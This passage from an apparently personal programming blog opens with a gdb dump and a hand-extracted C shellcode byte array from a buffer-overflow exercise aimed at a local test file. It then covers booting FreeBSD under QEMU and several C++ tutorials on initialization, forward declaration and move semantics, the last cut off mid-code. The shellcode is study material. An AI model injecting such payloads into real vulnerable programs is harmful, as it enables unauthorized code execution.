0x400512 <main+60>: 0xbf 0x70 0x73 0x61 0x6d 0x70 0x6c 0x65
0x40051a <main+68>: 0x73 0x57 0x48 0xbf 0x6e 0x30 0x7a 0x7a
0x400522 <main+76>: 0x2f 0x63 0x63 0x70 0x57 0x48 0xbf 0x2f
0x40052a <main+84>: 0x68 0x6f 0x6d 0x65 0x2f 0x64 0x76 0x57
0x400532 <main+92>: 0x48 0x89 0xe7 0x48 0xb8 0x5a 0x11 0x11
0x40053a <main+100>: 0x11 0x11 0x11 0x11 0x11 0x48 0xc1 0xe0
0x400542 <main+108>: 0x38 0x48 0xc1 0xe8 0x38 0x0f 0x05
<span class="o">(</span>gdb<span class="o">)</span>
</code></pre></div></div>
<p>Here we only need payload for instruction from <main+4> to <main+115>. Now we can copy above output into a text editor to remove extra part and get output payload as below:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">payload</span><span class="p">[]</span> <span class="o">=</span>
<span class="s">"</span><span class="se">\x48\xbe\xc9\x19\x11\x11\x11\x11\x11\x11\x48\xc1\xe6\x34\x48\xc1\xee\x34\x48</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x31\xff\x57\x48\xbf\x74\x65\x73\x74\x2e\x74\x78\x74\x57\x48\xbf\x76\x65\x72</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x66\x6c\x6f\x77\x2f\x57\x48\xbf\x2f\x62\x75\x66\x66\x65\x72\x4f\x57\x48\xbf</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x70\x73\x61\x6d\x70\x6c\x65\x73\x57\x48\xbf\x6e\x30\x7a\x7a\x2f\x63\x63\x70</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x57\x48\xbf\x2f\x68\x6f\x6d\x65\x2f\x64\x76\x57\x48\x89\xe7\x48\xb8\x5a\x11</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05</span><span class="s">"</span><span class="p">;</span>
</code></pre></div></div>
Booting FreeBSD QEMU image (Ubuntu Host)2018-09-07T00:00:00+00:00http://memto.github.io/linux/tooltips/2018/09/07/booting-freebsd-qemu-image<h4 id="ref">Ref</h4>
<ul>
<li><a href="http://alexander.holbreich.org/qemu-kvm-introduction/">qemu-kvm introduction</a></li>
<li><a href="https://fosspost.org/tutorials/use-qemu-test-operating-systems-distributions">How To Use QEMU To Test Operating Systems & Distributions</a></li>
<li><a href="https://www.collabora.com/news-and-blog/blog/2017/01/16/setting-up-qemu-kvm-for-kernel-development/">Setting up QEMU-KVM for kernel development</a></li>
</ul>
<h4 id="install-qemu-qemu-kvm">Install QEMU (qemu-kvm)</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>apt <span class="nb">install </span>qemu-kvm
</code></pre></div></div>
<h4 id="download-freebsd-qcow2-image-freebsd-104-release-amd64qcow2xz">Download FreeBSD qcow2 image (FreeBSD-10.4-RELEASE-amd64.qcow2.xz)</h4>
<p><strong>Src</strong>: ftp://ftp.freebsd.org/pub/FreeBSD/releases/VM-IMAGES/</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>wget ftp://ftp.freebsd.org/pub/FreeBSD/releases/VM-IMAGES/10.4-RELEASE/amd64/Latest/FreeBSD-10.4-RELEASE-amd64.qcow2.xz
<span class="nv">$ </span>xz <span class="nt">-d</span> FreeBSD-10.4-RELEASE-amd64.qcow2.xz
</code></pre></div></div>
<h4 id="booting">Booting</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>qemu-system-x86_64 <span class="nt">--enable-kvm</span> FreeBSD-10.4-RELEASE-amd64.qcow2
</code></pre></div></div>
<h4 id="login-and-create-user-post-install-setup">Login and create user, post-install setup</h4>
<p>On first boot, login with account root (don’t need password) then create new user there.</p>
<p><strong>Note</strong>: <strong>wheel</strong> group can execute commands with superuser privileges. If you want to create a normal (unprivileged) user, you may leave this blank.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>adduser
Username: XXX
Full name: YYY
Uid <span class="o">(</span>Leave empty <span class="k">for </span>default<span class="o">)</span>:
Login group <span class="o">[</span>XXX]:
Login group is XXX. Invite XXX into other <span class="nb">groups</span>? <span class="o">[]</span>: wheel
Login class <span class="o">[</span>default]:
Shell <span class="o">(</span>sh csh tcsh nologin<span class="o">)</span> <span class="o">[</span>sh]:
Home directory <span class="o">[</span>/home/XXX]:
Home directory permissions <span class="o">(</span>Leave empty <span class="k">for </span>default<span class="o">)</span>:
Use password-based authentication? <span class="o">[</span><span class="nb">yes</span><span class="o">]</span>:
Use an empty password? <span class="o">(</span><span class="nb">yes</span>/no<span class="o">)</span> <span class="o">[</span>no]:
Use a random password? <span class="o">(</span><span class="nb">yes</span>/no<span class="o">)</span> <span class="o">[</span>no]:
Enter password: password
Enter password again: password
Lock out the account after creation? <span class="o">[</span>no]:
</code></pre></div></div>
<h4 id="view-directory-layout">View directory layout</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>man hier
</code></pre></div></div>
<h4 id="install-package">Install package</h4>
<p><strong>Note</strong>: <em>pkg</em> is package management tool for FreeBSD but it is not installed by default. simply type pkg on terminal and install it. also sudo need to be installed by hand.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>pkg
<span class="nv">$ </span>pkg <span class="nb">install sudo</span>
</code></pre></div></div>
<h4 id="add-user-to-sudoers">Add user to sudoers</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>visudo
<span class="c"># under User privilege specification add bellow line (replace XXX by username want to be added)</span>
XXX <span class="nv">ALL</span><span class="o">=(</span>ALL<span class="o">)</span> ALL
</code></pre></div></div>
<h4 id="login-as-new-user-xxx">Login as new user (XXX)</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># press ctrl-D to exit current logged in session and back to login terminal</span>
<span class="c"># enter username and password</span>
login: XXX
Password: <your_password>
</code></pre></div></div>
<h4 id="escape-from-qemu">Escape from QEMU</h4>
<p>Ref: <a href="https://unix.stackexchange.com/a/107634">How do I get my mouse back from qemu/kvm?</a></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Ctrl + Left_Alt
</code></pre></div></div>
<h4 id="ssh-from-host-to-qemu">SSH from host to qemu</h4>
<ul>
<li>Ref:
<ul>
<li><a href="https://unix.stackexchange.com/a/124777">How to SSH from host to guest using QEMU?</a></li>
</ul>
</li>
<li>Redirect port XXXX from host to port 22 on qemu</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>qemu-system-x86_64 <span class="nt">--enable-kvm</span> FreeBSD-11.2-RELEASE-amd64.qcow2 <span class="nt">-redir</span> tcp:XXXX::22
<span class="c"># if above is not work</span>
<span class="nv">$ </span>qemu-system-x86_64 <span class="nt">--enable-kvm</span> FreeBSD-11.2-RELEASE-amd64.qcow2 <span class="nt">-net</span> user,hostfwd<span class="o">=</span>tcp::XXXX-:22 <span class="nt">-net</span> nic
</code></pre></div></div>
<ul>
<li>Enable ssh on freebsd</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>service sshd status
<span class="c"># If the service is not running, add the following line to /etc/rc.conf</span>
<span class="c"># sshd_enable="YES"</span>
<span class="nv">$ </span><span class="nb">sudo </span>service sshd start
</code></pre></div></div>
<ul>
<li>Connect from host to qemu</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh <vmuser>@localhost <span class="nt">-p</span> <XXXX>
</code></pre></div></div>
Flashcards generator2018-08-24T00:00:00+00:00http://memto.github.io/misc/2018/08/24/flashcards-generator<h5 id="github-project">Github project</h5>
<ul>
<li><a href="https://github.com/memto/fcg">FCG - Flashcard generator - A little gift for kids</a></li>
</ul>
<h4 id="sample-output">Sample Output</h4>
<ul>
<li>Countries’ Flags sample</li>
</ul>
<p><img src="https://github.com/memto/fcg/raw/master/samples/countries_flags_sample1.png" alt="countries_flags_sample" /></p>
<h4 id="full-pre-generated-pdf-file">Full pre-generated PDF file</h4>
<ul>
<li><a href="https://github.com/memto/fcg/blob/master/samples/countries_flags_full.pdf">Countries’ Flags flashcards full</a></li>
</ul>
QObject and QThread in QT2018-08-22T00:00:00+00:00http://memto.github.io/program/2018/08/22/qobject-and-qthread-in-qt<h4 id="ref">Ref</h4>
<ul>
<li><a href="http://kholdstare.github.io/technical/2012/08/21/objects-and-threads-in-cpp-1.html">Objects and Threads in C++ and Qt</a></li>
<li><a href="http://blog.debao.me/2013/08/how-to-use-qthread-in-the-right-way-part-1/">How to use QThread in the right way</a></li>
<li><a href="https://www.toptal.com/qt/qt-multithreading-c-plus-plus">The Missing Article About Qt Multithreading in C++
View all articles</a></li>
</ul>
C++11 Smart Pointer2018-08-22T00:00:00+00:00http://memto.github.io/program/2018/08/22/c-11-smart-pointer<h4 id="ref">Ref</h4>
<ul>
<li><a href="http://umich.edu/~eecs381/handouts/C++11_smart_ptrs.pdf">Using C++11’s Smart Pointers</a></li>
<li><a href="https://www.fluentcpp.com/2017/08/22/smart-developers-use-smart-pointers-smart-pointers-basics/">Smart developers use smart pointers</a></li>
<li><a href="http://www.acodersjourney.com/2016/05/top-10-dumb-mistakes-avoid-c-11-smart-pointers/">Top 10 dumb mistakes to avoid with C++ 11 smart pointers</a></li>
<li><a href="http://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#rsmart-smart-pointers">C++ Core Guidelines</a></li>
</ul>
C++ initialization - default,value,zero-initialization2018-08-21T00:00:00+00:00http://memto.github.io/program/2018/08/21/c-initialization-default-value-zero-initialization<h4 id="trivial-vs-standard-layout-vs-pod">Trivial vs. standard layout vs. POD</h4>
<p>Ref:</p>
<ul>
<li><a href="http://www.modernescpp.com/index.php/generalized-plain-old-data">Generalized Plain Old Data</a></li>
<li><a href="https://stackoverflow.com/a/6496703">Trivial vs. standard layout vs. POD</a></li>
<li><a href="https://stackoverflow.com/a/12979623/5715800">POD-Plain Old Data</a></li>
</ul>
<h4 id="explicitly-defaulted-and-deleted-functions-in-c-11">Explicitly Defaulted and Deleted Functions in C++ 11</h4>
<p>Ref:</p>
<ul>
<li><a href="https://www.geeksforgeeks.org/explicitly-defaulted-deleted-functions-c-11/">Explicitly Defaulted and Deleted Functions in C++ 11</a></li>
<li><a href="https://en.cppreference.com/w/cpp/language/default_constructor">Default constructors</a></li>
</ul>
<h4 id="c-initialization---defaultvaluezero-initialization">C++ initialization - default,value,zero-initialization</h4>
<p>Ref:</p>
<ul>
<li><a href="https://blog.tartanllama.xyz/initialization-is-bonkers/">Initialization in C++ is bonkers</a></li>
</ul>
<h4 id="example">Example</h4>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
file: initialization.cpp
brief: demo c++/c++11 initialization rules
compile/run: g++ -g -std=c++11 initialization.cpp -o initialization && ./initialization
*/</span>
<span class="cp">#include <iostream>
</span>
<span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">AKlass</span>
<span class="p">{</span>
<span class="nl">private:</span>
<span class="nl">public:</span>
<span class="n">AKlass</span><span class="p">(){};</span>
<span class="o">~</span><span class="n">AKlass</span><span class="p">(){};</span>
<span class="p">};</span>
<span class="n">AKlass</span> <span class="n">global</span><span class="p">;</span> <span class="c1">// zero-initialization, then default-initialization</span>
<span class="kt">void</span>
<span class="nf">foo_func</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">AKlass</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// default-initialization</span>
<span class="n">AKlass</span> <span class="n">j</span><span class="p">{};</span> <span class="c1">// value-initialization (C++11)</span>
<span class="n">AKlass</span> <span class="n">k</span> <span class="o">=</span> <span class="n">AKlass</span><span class="p">();</span> <span class="c1">// value-initialization</span>
<span class="n">AKlass</span> <span class="n">l</span> <span class="o">=</span> <span class="n">AKlass</span><span class="p">{};</span> <span class="c1">// value-initialization (C++11)</span>
<span class="n">AKlass</span> <span class="n">m</span><span class="p">();</span> <span class="c1">// function-declaration</span>
<span class="k">new</span> <span class="n">AKlass</span><span class="p">;</span> <span class="c1">// default-initialization</span>
<span class="k">new</span> <span class="n">AKlass</span><span class="p">();</span> <span class="c1">// value-initialization</span>
<span class="k">new</span> <span class="n">AKlass</span><span class="p">{};</span> <span class="c1">// value-initialization (C++11)</span>
<span class="p">}</span>
<span class="k">struct</span> <span class="nc">A</span>
<span class="p">{</span>
<span class="n">AKlass</span> <span class="n">t</span><span class="p">;</span>
<span class="n">A</span><span class="p">()</span>
<span class="o">:</span> <span class="n">t</span><span class="p">()</span>
<span class="p">{}</span>
<span class="p">};</span> <span class="c1">// t is value-initialized</span>
<span class="k">struct</span> <span class="nc">B</span>
<span class="p">{</span>
<span class="n">AKlass</span> <span class="n">t</span><span class="p">;</span>
<span class="n">B</span><span class="p">()</span>
<span class="o">:</span> <span class="n">t</span><span class="p">{}</span>
<span class="p">{}</span>
<span class="p">};</span> <span class="c1">// t is value-initialized (C++11)</span>
<span class="k">struct</span> <span class="nc">C</span>
<span class="p">{</span>
<span class="n">AKlass</span> <span class="n">t</span><span class="p">;</span>
<span class="n">C</span><span class="p">()</span> <span class="p">{}</span> <span class="c1">// empty constructor</span>
<span class="p">};</span> <span class="c1">// t is default-initialized</span>
<span class="c1">// Example</span>
<span class="k">struct</span> <span class="nc">foo</span>
<span class="p">{</span>
<span class="n">foo</span><span class="p">()</span> <span class="o">=</span> <span class="k">default</span><span class="p">;</span> <span class="c1">// defaulted default constructor</span>
<span class="kt">int</span> <span class="n">a</span><span class="p">;</span>
<span class="p">};</span>
<span class="k">struct</span> <span class="nc">bar</span>
<span class="p">{</span>
<span class="n">bar</span><span class="p">();</span>
<span class="kt">int</span> <span class="n">b</span><span class="p">;</span>
<span class="p">};</span>
<span class="n">bar</span><span class="o">::</span><span class="n">bar</span><span class="p">()</span> <span class="o">=</span> <span class="k">default</span><span class="p">;</span> <span class="c1">// treated as user-provided</span>
<span class="n">foo</span> <span class="n">foo_global</span><span class="p">;</span>
<span class="n">bar</span> <span class="n">bar_global</span><span class="p">;</span>
<span class="kt">int</span>
<span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"foo_global: "</span> <span class="o"><<</span> <span class="n">foo_global</span><span class="p">.</span><span class="n">a</span> <span class="o"><<</span> <span class="s">" bar_global: "</span> <span class="o"><<</span> <span class="n">bar_global</span><span class="p">.</span><span class="n">b</span>
<span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">foo</span> <span class="n">default_init</span><span class="p">;</span>
<span class="n">foo</span> <span class="n">value_init</span> <span class="o">=</span> <span class="n">foo</span><span class="p">();</span>
<span class="n">foo</span> <span class="n">cpp11_value_init</span><span class="p">{};</span>
<span class="n">foo</span> <span class="n">cpp11_value_init2</span> <span class="o">=</span> <span class="n">foo</span><span class="p">{};</span>
<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o"><<</span> <span class="s">"default_init: "</span> <span class="o"><<</span> <span class="n">default_init</span><span class="p">.</span><span class="n">a</span>
<span class="o"><<</span> <span class="s">" value_init: "</span> <span class="o"><<</span> <span class="n">value_init</span><span class="p">.</span><span class="n">a</span>
<span class="o"><<</span> <span class="s">" cpp11_value_init: "</span> <span class="o"><<</span> <span class="n">cpp11_value_init</span><span class="p">.</span><span class="n">a</span>
<span class="o"><<</span> <span class="s">" cpp11_value_init2: "</span> <span class="o"><<</span> <span class="n">cpp11_value_init2</span><span class="p">.</span><span class="n">a</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">bar</span> <span class="n">bar_default_init</span><span class="p">;</span>
<span class="n">bar</span> <span class="n">bar_value_init</span> <span class="o">=</span> <span class="n">bar</span><span class="p">();</span>
<span class="n">bar</span> <span class="n">bar_cpp11_value_init</span><span class="p">{};</span>
<span class="n">bar</span> <span class="n">bar_cpp11_value_init2</span> <span class="o">=</span> <span class="n">bar</span><span class="p">{};</span>
<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o"><<</span> <span class="s">"bar_default_init: "</span> <span class="o"><<</span> <span class="n">bar_default_init</span><span class="p">.</span><span class="n">b</span>
<span class="o"><<</span> <span class="s">" bar_value_init: "</span> <span class="o"><<</span> <span class="n">bar_value_init</span><span class="p">.</span><span class="n">b</span>
<span class="o"><<</span> <span class="s">" bar_cpp11_value_init: "</span> <span class="o"><<</span> <span class="n">bar_cpp11_value_init</span><span class="p">.</span><span class="n">b</span>
<span class="o"><<</span> <span class="s">" bar_cpp11_value_init2: "</span> <span class="o"><<</span> <span class="n">bar_cpp11_value_init2</span><span class="p">.</span><span class="n">b</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
C++ forward declaration2018-08-21T00:00:00+00:00http://memto.github.io/program/2018/08/21/c-forward-declaration<h4 id="ref">Ref</h4>
<ul>
<li><a href="http://www.acodersjourney.com/2016/05/top-10-c-header-file-mistakes-and-how-to-fix-them/">Top 10 C++ header file mistakes and how to fix them</a></li>
<li><a href="http://jatinganhotra.com/blog/2012/11/25/forward-class-declaration-in-c-plus-plus/">Forward Class Declaration in Cpp</a></li>
</ul>
<p>Example:</p>
<ul>
<li>main.cpp include ChildClassA1.h because it need create an instance of ChildClassA1</li>
<li>ChildClassA(B) need include BaseClassA(B).h because of inheritence</li>
<li>BaseClassA.h need include ChildClassB1.h because it need create an instance of ChildClassB1</li>
<li>BaseClassB.h need include BaseClassA.h because it only need pointer to BaseClassA</li>
</ul>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// main.cpp</span>
<span class="cp">#include "ChildClassA1.h"
</span>
<span class="n">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="k">const</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
<span class="n">BaseClassA</span> <span class="o">*</span><span class="n">classA</span> <span class="o">=</span> <span class="k">new</span> <span class="n">ChildClassA1</span><span class="p">()</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// BaseClassA.cpp</span>
<span class="cp">#include "BaseClassA.h"
</span>
<span class="c1">// BaseClassA.h</span>
<span class="cp">#ifndef BaseClassA_H
#define BaseClassA_H
</span>
<span class="cp">#include "ChildClassB1.h"
</span>
<span class="k">class</span> <span class="nc">BaseClassA</span>
<span class="p">{</span>
<span class="nl">private:</span>
<span class="n">BaseClassB</span> <span class="o">*</span><span class="n">baseB</span><span class="p">;</span>
<span class="nl">public:</span>
<span class="n">BaseClassA</span><span class="p">()</span> <span class="p">{</span> <span class="p">}</span>
<span class="o">~</span><span class="n">BaseClassA</span><span class="p">()</span> <span class="p">{</span> <span class="p">}</span>
<span class="p">};</span>
<span class="cp">#endif
</span>
<span class="c1">// ChildClassA1.h</span>
<span class="cp">#ifndef ChildClassA1_H
#define ChildClassA1_H
</span>
<span class="cp">#include "BaseClassA.h"
</span>
<span class="k">class</span> <span class="nc">ChildClassA1</span> <span class="o">:</span> <span class="k">public</span> <span class="n">BaseClassA</span>
<span class="p">{};</span>
<span class="cp">#endif
</span>
<span class="c1">// BaseClassB.cpp</span>
<span class="cp">#include "BaseClassB.h"
</span>
<span class="c1">// BaseClassB.h</span>
<span class="cp">#ifndef BaseClassB_H
#define BaseClassB_H
</span>
<span class="cp">#include "BaseClassA.h"
</span>
<span class="k">class</span> <span class="nc">BaseClassB</span>
<span class="p">{</span>
<span class="nl">private:</span>
<span class="n">BaseClassA</span><span class="o">*</span> <span class="n">baseA</span><span class="p">;</span>
<span class="nl">public:</span>
<span class="n">BaseClassB</span><span class="p">(</span><span class="cm">/* args */</span><span class="p">)</span> <span class="p">{}</span>
<span class="o">~</span><span class="n">BaseClassB</span><span class="p">()</span> <span class="p">{}</span>
<span class="p">};</span>
<span class="cp">#endif
</span>
<span class="c1">// ChildClassB1.h</span>
<span class="cp">#ifndef ChildClassB1_H
#define ChildClassB1_H
</span>
<span class="cp">#include "BaseClassB.h"
</span>
<span class="k">class</span> <span class="nc">ChildClassB1</span> <span class="o">:</span> <span class="k">public</span> <span class="n">BaseClassB</span>
<span class="p">{};</span>
<span class="cp">#endif
</span></code></pre></div></div>
<p>Compile:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>g++ main.cpp BaseClassA.cpp BaseClassB.cpp
In file included from ChildClassB1.h:4:0,
from BaseClassA.h:3,
from ChildClassA1.h:4,
from main.cpp:1:
BaseClassB.h:9:3: error: ‘BaseClassA’ does not name a <span class="nb">type
</span>BaseClassA<span class="k">*</span> baseA<span class="p">;</span>
^
In file included from ChildClassB1.h:4:0,
from BaseClassA.h:3,
from BaseClassA.cpp:1:
BaseClassB.h:9:3: error: ‘BaseClassA’ does not name a <span class="nb">type
</span>BaseClassA<span class="k">*</span> baseA<span class="p">;</span>
^
In file included from BaseClassA.h:3:0,
from BaseClassB.h:4,
from BaseClassB.cpp:1:
ChildClassB1.h:7:1: error: expected class-name before ‘<span class="o">{</span>’ token
<span class="o">{}</span><span class="p">;</span>
^
In file included from BaseClassB.h:4:0,
from BaseClassB.cpp:1:
BaseClassA.h:8:3: error: ‘BaseClassB’ does not name a <span class="nb">type
</span>BaseClassB <span class="k">*</span>baseB<span class="p">;</span>
</code></pre></div></div>
<ul>
<li>First Error:
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In file included from ChildClassB1.h:4:0,
from BaseClassA.h:3,
from ChildClassA1.h:4,
from main.cpp:1:
BaseClassB.h:9:3: error: ‘BaseClassA’ does not name a <span class="nb">type
</span>BaseClassA<span class="k">*</span> baseA<span class="p">;</span>
</code></pre></div> </div>
</li>
</ul>
<p>Here main.cpp include ChildClassA1.h which in turn include BaseClassA.h (BaseClassA is not declare yet, but header guard BaseClassA_H is defined). BaseClassA.h then include ChildClassB1.h which in turn include BaseClassB.h; Here, BaseClassB.h include BaseClassA.h but header guard BaseClassA_H is defined so it is skipped. That cause the error: ‘BaseClassA’ does not name a type.</p>
<ul>
<li>First fix: We can try to fix this first error using forward declaration of BaseClassA in BaseClassB.h because here BaseClassB.h only needs a <strong>declaration</strong> of BaseClassA <strong>not definition</strong>.</li>
</ul>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#ifndef BaseClassB_H
#define BaseClassB_H
</span>
<span class="k">class</span> <span class="nc">BaseClassA</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">BaseClassB</span>
<span class="p">{</span>
<span class="nl">private:</span>
<span class="n">BaseClassA</span><span class="o">*</span> <span class="n">baseA</span><span class="p">;</span>
<span class="nl">public:</span>
<span class="n">BaseClassB</span><span class="p">(</span><span class="cm">/* args */</span><span class="p">)</span> <span class="p">{}</span>
<span class="o">~</span><span class="n">BaseClassB</span><span class="p">()</span> <span class="p">{}</span>
<span class="p">};</span>
<span class="cp">#endif
</span></code></pre></div></div>
<p>Now we can have a success compilation. But let refator other code also because as above fix we don’t need to include whole header in case of forward declaration is enough (this refactor can help to reduce compilation time). Before we do that, let point out some cases when we have to include header files, and when forward declarations is enough:</p>
<h5 id="when-forward-declaration-is-enough">When forward declaration is enough</h5>
<ul>
<li>declaration of data members as pointer or reference type</li>
<li>function <em>declaration</em> parameters, return type</li>
</ul>
<h5 id="when-have-to-use-include">When have to use include:</h5>
<ul>
<li>declaration of data members as class instance</li>
<li>function <em>definition</em> parameters, return type</li>
<li>using class as a base class (eg: ChildClassA1.h, ChildClassB1.h)</li>
<li>create object from class, dereference object pointer, access object methods</li>
</ul>
<h5 id="apply-the-rules-as-above">Apply the rules as above:</h5>
<ul>
<li>BaseClassA.h only need forward declaration of BaseClassB</li>
<li>BaseClassA.cpp need include ChildClassB1.h because it will need create instance of ChildClassB1</li>
<li>BaseClassB.cpp need include BaseClassA.h because it will need dereference and access baseA</li>
</ul>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// BaseClassA.cpp</span>
<span class="cp">#include "BaseClassA.h"
#include "ChildClassB1.h"
</span>
<span class="c1">// BaseClassA.h</span>
<span class="cp">#ifndef BaseClassA_H
#define BaseClassA_H
</span>
<span class="k">class</span> <span class="nc">BaseClassB</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">BaseClassA</span>
<span class="p">{</span>
<span class="nl">private:</span>
<span class="n">BaseClassB</span> <span class="o">*</span><span class="n">baseB</span><span class="p">;</span>
<span class="nl">public:</span>
<span class="n">BaseClassA</span><span class="p">()</span> <span class="p">{</span> <span class="p">}</span>
<span class="o">~</span><span class="n">BaseClassA</span><span class="p">()</span> <span class="p">{</span> <span class="p">}</span>
<span class="p">};</span>
<span class="cp">#endif
</span>
<span class="c1">// BaseClassB.cpp</span>
<span class="cp">#include "BaseClassB.h"
#include "BaseClassA.h"
</span></code></pre></div></div>
How inheritance, encapsulation and polymorphism work in C++2018-08-18T00:00:00+00:00http://memto.github.io/program/2018/08/18/how-inheritance-encapsulation-and-polymorphism-work-in-c<h4 id="ref">Ref</h4>
<ul>
<li><a href="http://www.alexonlinux.com/how-inheritance-encapsulation-and-polymorphism-work-in-cpp">How inheritance, encapsulation and polymorphism work in C++</a></li>
</ul>
C++11 Topic Refs2018-08-15T00:00:00+00:00http://memto.github.io/program/2018/08/15/c-cpp-topic-refs<h4 id="rvaluervalue-referencemove-semantic-cpp">Rvalue/Rvalue reference/Move semantic cpp</h4>
<ul>
<li><a href="https://www.internalpointers.com/post/c-rvalue-references-and-move-semantics-beginners">C++ rvalue references and move semantics for beginners</a></li>
<li><a href="http://kholdstare.github.io/technical/2013/11/23/moves-demystified.html">http://kholdstare.github.io/technical/2013/11/23/moves-demystified.html#std-move</a></li>
<li><a href="http://thbecker.net/articles/rvalue_references/section_01.html">C++ Rvalue References Explained</a></li>
</ul>
<p>Example</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
file: movesemantic.cpp
brief: move semantic demo
compile: g++ -fno-elide-constructors -g -std=c++11 movesemantic.cpp -o
movesemantic (Note: -fno-elide-constructors which disable copy elision)
*/</span>
<span class="cp">#include <iostream>
</span>
<span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span>
<span class="cp">#define MOVE_SEMANTIC 1
</span>
<span class="k">class</span> <span class="nc">Holder</span>
<span class="p">{</span>
<span class="nl">public:</span>
<span class="n">Holder</span><span class="p">(</span><span class="kt">int</span> <span class="n">size</span><span class="p">)</span> <span class="c1">// Constructor</span>
<span class="p">{</span>
<span class="n">m_id</span> <span class="o">=</span> <span class="n">m_object_count</span><span class="o">++</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"Constructor "</span> <span class="o"><<</span> <span class="n">m_id</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">m_data</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">int</span><span class="p">[</span><span class="n">size</span><span class="p">];</span>
<span class="n">m_size</span> <span class="o">=</span> <span class="n">size</span><span class="p">;</span>
<span class="p">}</span>
<span class="o">~</span><span class="n">Holder</span><span class="p">()</span> <span class="c1">// Destructor</span>
<span class="p">{</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"Destructor "</span> <span class="o"><<</span> <span class="n">m_id</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="k">delete</span><span class="p">[]</span> <span class="n">m_data</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">Holder</span><span class="p">(</span><span class="k">const</span> <span class="n">Holder</span><span class="o">&</span> <span class="n">other</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">m_data</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">int</span><span class="p">[</span><span class="n">other</span><span class="p">.</span><span class="n">m_size</span><span class="p">];</span> <span class="c1">// (1)</span>
<span class="n">copy</span><span class="p">(</span><span class="n">other</span><span class="p">.</span><span class="n">m_data</span><span class="p">,</span> <span class="n">other</span><span class="p">.</span><span class="n">m_data</span> <span class="o">+</span> <span class="n">other</span><span class="p">.</span><span class="n">m_size</span><span class="p">,</span> <span class="n">m_data</span><span class="p">);</span> <span class="c1">// (2)</span>
<span class="n">m_size</span> <span class="o">=</span> <span class="n">other</span><span class="p">.</span><span class="n">m_size</span><span class="p">;</span>
<span class="n">m_id</span> <span class="o">=</span> <span class="n">m_object_count</span><span class="o">++</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">m_id</span> <span class="o"><<</span> <span class="s">" copy constructor from "</span> <span class="o"><<</span> <span class="n">other</span><span class="p">.</span><span class="n">m_id</span> <span class="o"><<</span> <span class="s">" size "</span>
<span class="o"><<</span> <span class="n">other</span><span class="p">.</span><span class="n">m_size</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="p">}</span>
<span class="cp">#if MOVE_SEMANTIC == 1
</span> <span class="n">Holder</span><span class="p">(</span><span class="n">Holder</span><span class="o">&&</span> <span class="n">other</span><span class="p">)</span> <span class="c1">// <-- rvalue reference in input</span>
